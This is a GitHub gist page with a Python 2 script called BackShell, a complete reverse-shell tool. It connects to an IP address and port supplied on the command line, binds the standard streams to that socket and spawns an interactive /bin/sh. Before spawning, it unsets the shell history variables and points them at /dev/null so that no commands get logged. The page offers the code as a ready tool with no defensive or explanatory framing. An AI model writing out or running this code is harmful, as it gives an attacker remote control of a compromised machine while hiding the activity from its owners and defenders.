Skip to content

Instantly share code, notes, and snippets.

@monkeym4ster
Created June 12, 2016 10:05
Show Gist options
  • Save monkeym4ster/6a55af1d88abd3d5a7d9c596ece7828f to your computer and use it in GitHub Desktop.
Save monkeym4ster/6a55af1d88abd3d5a7d9c596ece7828f to your computer and use it in GitHub Desktop.
BackShell
#!/usr/bin/env python
#coding=utf-8
import os
import sys
import socket
import pty
shell = "/bin/sh"
class BackShell(object):
def __init__(self, ip_address, port):
self.ip_address = ip_address
self.port = port
def reverse(self):
global shell
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((self.ip_address, int(self.port)))
print '[+] Connect success'
except Exception as err:
print '[-] Connect failed.\n%s' % err
sys.exit(1)
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE", '/dev/null')
os.putenv("HISTSIZE", '0')
os.putenv("HISTFILESIZE", '0')
pty.spawn(shell)
s.close()
if __name__ == '__main__':
if len(sys.argv) != 3:
print sys.argv
print 'not action.'
sys.exit(0)
IP_ADDR = sys.argv[1]
PORT = sys.argv[2]
back_shell = BackShell(IP_ADDR, PORT)
back_shell.reverse()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment